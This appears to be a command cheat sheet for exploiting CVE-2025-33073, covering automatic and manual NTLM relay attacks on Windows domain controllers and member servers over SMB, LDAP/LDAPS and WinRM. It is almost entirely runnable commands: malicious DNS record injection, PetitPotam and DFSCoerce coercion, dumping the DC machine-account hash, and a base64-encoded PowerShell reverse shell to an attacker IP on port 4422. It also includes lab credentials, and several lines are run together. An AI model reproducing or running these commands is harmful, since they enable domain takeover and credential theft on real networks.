CVE-2025-33073

1: With Automatic POC
Installation
Automatic PoC
https://github.com/mverschu/CVE-2025-33073
Clone the repo
git clone https://github.com/mverschu/CVE-2025-33073.git
cd CVE-2025-33073
chmod +x setup.sh
./setup.sh
Activate virtual venv
cd /usr/local/bin/CVE-2025-33073
source venv/bin/activate
Attack via SMB

Check SMB Signing is Enabled
nxc smb dc.novacart.localSMB Signing is Disabled

Check for CVE
nxc smb 10.0.0.5 -u 'testuser' -p 'pa$$w0rd' -M enum_cve
Normal Mode (Dumping the DC Machine Account Hash)
python3 CVE-2025-33073.py -u 'novacart.local\l.thompson' -p 'pa$$w0rd3432' --attacker-ip 192.168.178.180 --dns-ip 192.168.178.120 --dc-fqdn DC.novacart.local --target DC.novacart.local --target-ip 192.168.178.120
Custom Command
python3 CVE-2025-33073.py -u 'novacart.local\l.thompson' -p 'pa$$w0rd3432' --attacker-ip 192.168.178.180 --dns-ip 192.168.178.120 --dc-fqdn DC.novacart.local --target DC.novacart.local --target-ip 192.168.178.120 --cli-only --custom-command "whoami"
Spawn a Reverse Shell to 192.168.178.180:4422
python3 CVE-2025-33073.py -u 'novacart.local\l.thompson' -p 'pa$$w0rd3432' --attacker-ip 192.168.178.180 --dns-ip 192.168.178.120 --dc-fqdn DC.novacart.local --target DC.novacart.local --target-ip 192.168.178.120 --cli-only --custom-command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEANwA4AC4AMQA4ADAAIgAsADQANAAyADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
Attack Against a Member Server

Target: IIS_SERVER.domain.local (192.168.178.130)
Domain Controller: DC.domain.local (192.168.178.120)
python3 CVE-2025-33073.py \
-u 'novacart.local\l.thompson' \
-p 'pa$$w0rd3432' \
--attacker-ip 192.168.178.180 \
--dns-ip 192.168.178.120 \
--dc-fqdn DC.novacart.local \
--target IIS_SERVER.novacart.local \
--target-ip 192.168.178.130 \
--custom-command "whoami"
DNS Record for the Member Server, added on the Domain Controller

Exploit relay to LDAPS even with SMB Signing enabled

python3 CVE-2025-33073.py \
-u 'novacart.local\l.thompson' \
-p 'pa$$w0rd3432' \
-d 192.168.178.180 \
--dns-ip 192.168.178.120 \
--dc-fqdn DC.novacart.local \
--target 192.168.178.120 \
--target-ip 192.168.178.120 \
-M DFSCoerce \
--smb-signing
2: Manual Way
Attack via SMB

1. We add a DNS record to DC01 using dnstool
dnstool.py -u 'novacart.local\cliff.b' -p 'safEpAss69' DC.novacart.local -a 'add' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d '192.168.178.180' -dns-ip 192.168.178.35 --tcp
2. We Confirming that DNS entry is done successfully
dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.novacart.local @dc.novacart.local +tcp
3. We relay NTLM authentication to DC01 SMB
impacket-ntlmrelayx -smb2support -t smb://dc.novacart.local
Costum Commands (Alternative)
impacket-ntlmrelayx -smb2support -t smb://dc.novacart.local -c "whoami"
4. We coerce SMB authentication and trigger a callback to our listener
nxc smb dc.novacart.local -u 'novacart.local\cliff.b' -p 'safEpAss69' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ALWAYS=true

Costum Commands (Revshell Port 4422)
impacket-ntlmrelayx -smb2support -t smb://dc.novacart.local -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEANwA4AC4AMQA4ADAAIgAsADQANAAyADIAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
Attack via LDAPS/LDAP

https://github.com/decoder-it/impacket-partial-mic.git
Installation
Install Impacket Partial MIC
git clone https://github.com/decoder-it/impacket-partial-mic.gitcd impacket-partial-micpython3-m pipx install .
Add the malicious DNS record
bloodyAD--host10.1.46.209-d hacksmarter.local-u hellyr-p'H3lenaR!2025' \
add dnsRecord--dnstype A \
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \10.200.37.130
Start NTLM Relay to LDAPS
ntlmrelayx.py -t ldaps://10.1.46.209 -i -smb2support --remove-mic-partial --keep-relaying
Ore ldap (Alterntaive)
ntlmrelayx.py -t ldap://10.1.46.209 -i -smb2support --remove-mic-partial --keep-relaying
Trigger Authentication with PetitPotam
nxc smb 10.1.46.209 -u hellyr -p 'H3lenaR!2025' -M coerce_plus -o L=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=PetitPotamConnect to the Interactive LDAP Relay Session
nc 127.0.0.1 11001

Attack via WIRNMS

Add the malicious DNS record
bloodyAD--host10.1.46.209-d hacksmarter.local-u hellyr-p'H3lenaR!2025' \
add dnsRecord--dnstype A \
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \10.200.37.130
Start NTLM Relay to WIRMS
ntlmrelayx.py -smb2support -t winrms://dc.novacart.local
Trigger Authentication with PetitPotam
nxc smb 10.1.46.209 -u hellyr -p 'H3lenaR!2025' -M coerce_plus -o L=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=PetitPotamConnect to the Interactive LDAP Relay Session
nc 127.0.0.1 11001